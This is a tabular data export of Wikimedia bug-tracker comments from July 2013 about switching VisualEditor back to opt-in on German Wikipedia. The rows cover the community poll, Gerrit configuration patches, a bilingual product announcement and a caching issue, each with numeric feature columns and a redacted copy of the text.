247296,Anonymous users getting VisualEditor on German Wikipedia and making edits,"This appears to be a caching issue, yes",,,1375122380,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hdwzoxwzxwme4zwudykf,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,3.5555555555555554,1.0,"This appears to be a caching issue, yes"
54202,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","**Author:** `matthiasbecker1967`

**Description:**
According to http://de.wikipedia.org/wiki/Wikipedia_Diskussion:Umfragen/VisualEditor_Opt-in the German Wikipedia community demands to postpone enablement of the VE for IPs until the VE is a robust and mostly bug free feature and to revert VE for registered users back to ""opt-in"".

--------------------------
**Version**: unspecified
**Severity**: critical
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49998
https://bugzilla.wikimedia.org/show_bug.cgi?id=52232",Unbreak Now!,100.0,1375049820,1375122779.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-sa6s63ajvv65ik2b7344,task_description,resolved,True,c1,3,False,False,True,3,,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,20.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.5058823529411764,0.5529411764705883,"**Author:** CODE

**Description:**
According to URL the German Wikipedia community demands to postpone enablement of the VE for IPs until the VE is a robust and mostly bug free feature and to revert VE for registered users back to ""opt-in"".

--------------------------
**Version**: unspecified
**Severity**: critical
**See Also**:
URL
URL"
245474,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","**nrp** wrote:

(In reply to comment #16)
> (In reply to comment #15)
> > So De Wikipedia holds a quick poll and their deployment is changed to opt-in,
> > but on En Wikipedia, despite weeks of complaints, we are still stuck with
> > opt-out? How does that work?
> 
> If you can hold a coordinated vote on the English Wikipedia and get over 400
> participants to agree to switch to opt-in, I imagine you can get the same
> result. :-)

I think a quick look at the feedback and other related pages would show a consensus for a switch to opt-in, but in any event there is now an RFC: http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Default_State_RFC",,,1375208914,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,18.0,0.0,3.0,9.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,1.0,10.0,12.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.014705882352941,0.6617647058823529,"**nrp** wrote:

(In reply to comment #16)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I think a quick look at the feedback and other related pages would show a consensus for a switch to opt-in, but in any event there is now an RFC: URL"
245468,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","(In reply to comment #15)
> So De Wikipedia holds a quick poll and their deployment is changed to opt-in,
> but on En Wikipedia, despite weeks of complaints, we are still stuck with
> opt-out? How does that work?

If you can hold a coordinated vote on the English Wikipedia and get over 400 participants to agree to switch to opt-in, I imagine you can get the same result. :-)",,,1375136346,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,4.0,0.0,6.0,4.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,16.0,2.0,2.0,6.0,0.0,2.0,0.0,2.0,12.0,0.0,4.0,0.0,6.0,18.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.46,0.78,"(In reply to comment #15)
QUOTE
QUOTE
QUOTE

If you can hold a coordinated vote on the English Wikipedia and get over 400 participants to agree to switch to opt-in, I imagine you can get the same result. :-)"
245462,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","**nrp** wrote:

So De Wikipedia holds a quick poll and their deployment is changed to opt-in, but on En Wikipedia, despite weeks of complaints, we are still stuck with opt-out? How does that work?",,,1375129191,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,12.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,14.0,10.0,4.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.3469387755102042,0.8163265306122449,"**nrp** wrote:

So De Wikipedia holds a quick poll and their deployment is changed to opt-in, but on En Wikipedia, despite weeks of complaints, we are still stuck with opt-out? How does that work?"
245456,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia",Closing this bug now as the issue in c13 should be resolved by bug 52232. The intention of this bug report is done.,,,1375122779,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,24.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.72,0.84,Closing this bug now as the issue in c13 should be resolved by bug 52232. The intention of this bug report is done.
245449,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","It seems that some IPs can use VE, see e.g. 
http://de.wikipedia.org/w/index.php?title=Medien_%28Land%29&curid=132736&diff=121014468&oldid=120989155
(tagged as Visual editor), see also the talk on the village pump
https://de.wikipedia.org/wiki/Wikipedia:Fragen_zur_Wikipedia#VE_f.C3.BCr_IP_funktioniert.3F",,,1375119647,,PHID-USER-dczyqgtdvr5hclqcljrr,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,10.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.096774193548387,0.8064516129032258,"It seems that some IPs can use VE, see e.g. 
URL
(tagged as Visual editor), see also the talk on the village pump
URL"
245441,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","Change 76468 abandoned by MZMcBride:
Explicitly disable VisualEditor by default on dewiki

Reason:
I feel like a Wikipedia user who finally makes his first edit only to have it reverted. ;-)

https://gerrit.wikimedia.org/r/76468",,,1375116096,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,10.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,8.0,13.0,15.0,0.0,0.0,0.0,8.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.487179487179487,0.8974358974358975,"Change 76468 abandoned by MZMcBride:
Explicitly disable VisualEditor by default on dewiki

Reason:
I feel like a Wikipedia user who finally makes his first edit only to have it reverted. ;-)

GERRIT_URL"
245434,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","(In reply to comment #7)
> (In reply to comment #6)
> >... VisualEditor will be temporarily switched back into opt-in mode on
> > the German Wikipedia. We don’t intend to otherwise alter the near-term
> > VisualEditor deployment schedule
> 
> Does that mean opt-in for everyone or just registered users?
Opt-in for everyone, that is to say it's off unless you turn it on in your preferences. In practice, anonymous users won't be able to opt in unless they create an account, because anons can't change their preferences.",,,1375115973,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0.0,1.0,0.0,0.0,3.0,3.0,3.0,1.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,20.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,13.0,4.0,0.0,3.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,9.0,20.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.4347826086956523,0.6666666666666666,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Opt-in for everyone, that is to say it's off unless you turn it on in your preferences. In practice, anonymous users won't be able to opt in unless they create an account, because anons can't change their preferences."
245426,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia",This is now done.,,,1375115930,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,1.0,This is now done.
245418,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","Change 76516 merged by jenkins-bot:
Switch VisualEditor back to alpha (opt-in) mode on dewiki

https://gerrit.wikimedia.org/r/76516",,,1375115875,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,17.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,0.9583333333333334,"Change 76516 merged by jenkins-bot:
Switch VisualEditor back to alpha (opt-in) mode on dewiki

GERRIT_URL"
245412,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","Change 76516 had a related patch set uploaded by Jforrester:
Switch VisualEditor back to alpha (opt-in) mode on dewiki

https://gerrit.wikimedia.org/r/76516",,,1375112857,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,15.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.185185185185185,1.0,"Change 76516 had a related patch set uploaded by Jforrester:
Switch VisualEditor back to alpha (opt-in) mode on dewiki

GERRIT_URL"
245406,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","**jsalsman** wrote:

(In reply to comment #6)
>... VisualEditor will be temporarily switched back into opt-in mode on
> the German Wikipedia. We don’t intend to otherwise alter the near-term
> VisualEditor deployment schedule

Does that mean opt-in for everyone or just registered users?",,,1375086074,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,11.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0833333333333335,0.7777777777777778,"**jsalsman** wrote:

(In reply to comment #6)
QUOTE
QUOTE
QUOTE

Does that mean opt-in for everyone or just registered users?"
245398,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","In response to community feedback, VisualEditor will be temporarily switched back into opt-in mode on the German Wikipedia. We don’t intend to otherwise alter the near-term VisualEditor deployment schedule, except in case of emergencies.

As we did in the case of Dutch Wikipedia, for instance, which was exempted from the phase 2 rollout, we try to accommodate community concern in the process of this rollout. VisualEditor is the single largest and most disruptive change to the user experience in the history of our projects. Not only is it still beta software, it also depends on us working together in partnership to update documentation, add template metadata (which is used by VisualEditor to make templates more user-friendly), and deal with unexpected issues. We appreciate your patience and feedback, and we have no intent of taking your partnership for granted.

We also recognize that there are still significant areas for improvement (e.g. performance, handling of tables, insertion of special characters) as well as work we can do to reduce the incidence rate of problematic markup changes. As we continue to support the beta where it is deployed, we’ll also update the German Wikipedia community on progress in these areas, and prepare for re-enabling VisualEditor later in the calendar year.

As a reminder, VisualEditor has always been optional to use, and can now also be completely hidden from the user experience (as an individual preference) in wikis where it is enabled by default.

-- James Forrester, Product Manager, VisualEditor team

----

Als Reaktion auf die Rückmeldungen der deutschsprachigen Wikipedia-Gemeinschaft werden wir den VisualEditor dort temporär wieder nur per Opt-In verfügbar machen. Darüber hinaus beabsichtigen wir nicht, die unmittelbare Planung für andere Sprachversionen zu verändern, es sei denn, es treten schwerwiegende Probleme auf.

Wie auch z.B. im Fall der niederländischen Wikipedia, die von Phase 2 der Beta ausgenommen wurde, versuchen wir, bei der weiteren Aktivierung des VisualEditor mit den Sprachversionen zusammen zu arbeiten und nehmen Bedenken ernst. VisualEditor ist die weitgehendste Änderung an der Benutzeroberfläche in der Geschichte unserer Projekte. VisualEditor ist aber noch Beta-Software, und der Erfolg des Projekts hängt sehr davon ab, dass wir ein einer positiven Partnerschaft zusammen arbeiten, um z.B. Vorlagen-Metadaten (TemplateData) hinzuzufügen (die von VisualEditor verwendet werden, um die Benutzeroberfläche für Vorlagen zu verbessern) und Dokumentation zu aktualisieren, und um mit Software-Problemen umzugehen. Wir schätzen die Geduld und das ehrliche Feedback der deutschsprachigen Wikipedia-Gemeinschaft, und gehen nicht davon aus, dass eine Kooperation ohne gegenseitiges Entgegenkommen funktionieren kann.

Wir erkennen auch an, dass es im VisualEditor noch viel Raum für Verbesserungen gibt. Das beinhaltet z.B. Performance, bessere Unterstützung für Tabellen und einen Dialog für das Einfügen von Sonderzeichen. In einigen Fällen können wir auch das Verhalten des Editors optimieren, um unerwünschte Änderungen am Wikitext zu reduzieren. Auch auf der deutschsprachigen Wikipedia werden Verbesserungen selbstverständlich für Opt-In-Nutzer kontinuierlich zur Verfügung stehen, und wir werden regelmäßige Ankündigungen über Neuerungen veröffentlichen. Unser Ziel ist eine Wiederaktivierung des VisualEditor in der Beta-Konfiguration später im Kalenderjahr.

Die Verwendung von Wikitext wird selbstverständlich auch nach der Wiederaktivierung des VisualEditor möglich sein. Der VisualEditor ist und bleibt optional, und kann während der Beta-Phase auch komplett aus der Benutzeroberfläche entfernt werden.

-- James Forrester, Produktmanager, VisualEditor-Team",,,1375075738,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.14285714285714285,0.8571428571428571,0.14285714285714285,3.4285714285714284,0.2857142857142857,0.0,0.0,0.0,3.2857142857142856,0.0,0.0,0.14285714285714285,0.14285714285714285,2.0,0.0,3.5714285714285716,7.714285714285714,0.0,1.0,0.0,0.0,0.0,1.2857142857142858,0.14285714285714285,0.0,0.14285714285714285,0.2857142857142857,0.14285714285714285,0.0,3.7142857142857144,0.14285714285714285,0.5714285714285714,0.14285714285714285,0.2857142857142857,0.0,0.2857142857142857,0.14285714285714285,0.2857142857142857,0.14285714285714285,0.0,0.2857142857142857,1.0,0.2857142857142857,0.14285714285714285,0.0,0.0,0.14285714285714285,17.571428571428573,0.0,0.2857142857142857,0.2857142857142857,0.42857142857142855,0.0,0.0,0.0,0.14285714285714285,0.5714285714285714,0.0,0.2857142857142857,0.7142857142857143,0.14285714285714285,0.0,0.14285714285714285,0.0,0.0,2.4285714285714284,1.5714285714285714,18.142857142857142,0.5714285714285714,0.8571428571428571,3.142857142857143,0.0,0.0,0.0,0.0,3.5714285714285716,0.5714285714285714,0.2857142857142857,0.0,2.857142857142857,7.714285714285714,26.857142857142858,0.0,0.0,0.0,2.857142857142857,0.0,0.5714285714285714,0.5714285714285714,0.14285714285714285,0.5714285714285714,0.14285714285714285,0.2857142857142857,0.5714285714285714,5.020904294396581,0.7318506645294863,"In response to community feedback, VisualEditor will be temporarily switched back into opt-in mode on the German Wikipedia. We don’t intend to otherwise alter the near-term VisualEditor deployment schedule, except in case of emergencies.

As we did in the case of Dutch Wikipedia, for instance, which was exempted from the phase 2 rollout, we try to accommodate community concern in the process of this rollout. VisualEditor is the single largest and most disruptive change to the user experience in the history of our projects. Not only is it still beta software, it also depends on us working together in partnership to update documentation, add template metadata (which is used by VisualEditor to make templates more user-friendly), and deal with unexpected issues. We appreciate your patience and feedback, and we have no intent of taking your partnership for granted.

We also recognize that there are still significant areas for improvement (e.g. performance, handling of tables, insertion of special characters) as well as work we can do to reduce the incidence rate of problematic markup changes. As we continue to support the beta where it is deployed, we’ll also update the German Wikipedia community on progress in these areas, and prepare for re-enabling VisualEditor later in the calendar year.

As a reminder, VisualEditor has always been optional to use, and can now also be completely hidden from the user experience (as an individual preference) in wikis where it is enabled by default.

-- James Forrester, Product Manager, VisualEditor team

----

Als Reaktion auf die Rückmeldungen der deutschsprachigen Wikipedia-Gemeinschaft werden wir den VisualEditor dort temporär wieder nur per Opt-In verfügbar machen. Darüber hinaus beabsichtigen wir nicht, die unmittelbare Planung für andere Sprachversionen zu verändern, es sei denn, es treten schwerwiegende Probleme auf.

Wie auch z.B. im Fall der niederländischen Wikipedia, die von Phase 2 der Beta ausgenommen wurde, versuchen wir, bei der weiteren Aktivierung des VisualEditor mit den Sprachversionen zusammen zu arbeiten und nehmen Bedenken ernst. VisualEditor ist die weitgehendste Änderung an der Benutzeroberfläche in der Geschichte unserer Projekte. VisualEditor ist aber noch Beta-Software, und der Erfolg des Projekts hängt sehr davon ab, dass wir ein einer positiven Partnerschaft zusammen arbeiten, um z.B. Vorlagen-Metadaten (TemplateData) hinzuzufügen (die von VisualEditor verwendet werden, um die Benutzeroberfläche für Vorlagen zu verbessern) und Dokumentation zu aktualisieren, und um mit Software-Problemen umzugehen. Wir schätzen die Geduld und das ehrliche Feedback der deutschsprachigen Wikipedia-Gemeinschaft, und gehen nicht davon aus, dass eine Kooperation ohne gegenseitiges Entgegenkommen funktionieren kann.

Wir erkennen auch an, dass es im VisualEditor noch viel Raum für Verbesserungen gibt. Das beinhaltet z.B. Performance, bessere Unterstützung für Tabellen und einen Dialog für das Einfügen von Sonderzeichen. In einigen Fällen können wir auch das Verhalten des Editors optimieren, um unerwünschte Änderungen am Wikitext zu reduzieren. Auch auf der deutschsprachigen Wikipedia werden Verbesserungen selbstverständlich für Opt-In-Nutzer kontinuierlich zur Verfügung stehen, und wir werden regelmäßige Ankündigungen über Neuerungen veröffentlichen. Unser Ziel ist eine Wiederaktivierung des VisualEditor in der Beta-Konfiguration später im Kalenderjahr.

Die Verwendung von Wikitext wird selbstverständlich auch nach der Wiederaktivierung des VisualEditor möglich sein. Der VisualEditor ist und bleibt optional, und kann während der Beta-Phase auch komplett aus der Benutzeroberfläche entfernt werden.

-- James Forrester, Produktmanager, VisualEditor-Team"
245392,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","Change 76468 had a related patch set uploaded by MZMcBride:
Explicitly disabled VisualEditor by default on dewiki

https://gerrit.wikimedia.org/r/76468",,,1375073521,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.238095238095238,0.9523809523809523,"Change 76468 had a related patch set uploaded by MZMcBride:
Explicitly disabled VisualEditor by default on dewiki

GERRIT_URL"
245385,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","Change 76199 had a related patch set uploaded by MZMcBride:
Enable anonymous use of VisualEditor on es/fr/he/it/pl/ru/sv

https://gerrit.wikimedia.org/r/76199",,,1375072767,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,9.0,21.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5454545454545454,0.8484848484848485,"Change 76199 had a related patch set uploaded by MZMcBride:
Enable anonymous use of VisualEditor on es/fr/he/it/pl/ru/sv

GERRIT_URL"
245381,"VisualEditor: Change to opt-in for registered users, postpone activation for IPs on the German Wikipedia","VisualEditor's configuration variables are a bit confusing to me, but it seems like the German Wikipedia would like to reverse part of this change: <https://gerrit.wikimedia.org/r/#/c/75543/4/wmf-config/InitialiseSettings.php,unified>.

wmgVisualEditorDefault would be set to false for dewiki.

wmgVisualEditorDisableForAnons would be left as true for dewiki.

Is this correct?",,,1375070977,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sa6s63ajvv65ik2b7344,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,4.0,0.0,7.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,9.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,15.0,11.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,4.703703703703703,0.7777777777777778,"VisualEditor's configuration variables are a bit confusing to me, but it seems like the German Wikipedia would like to reverse part of this change: <URL

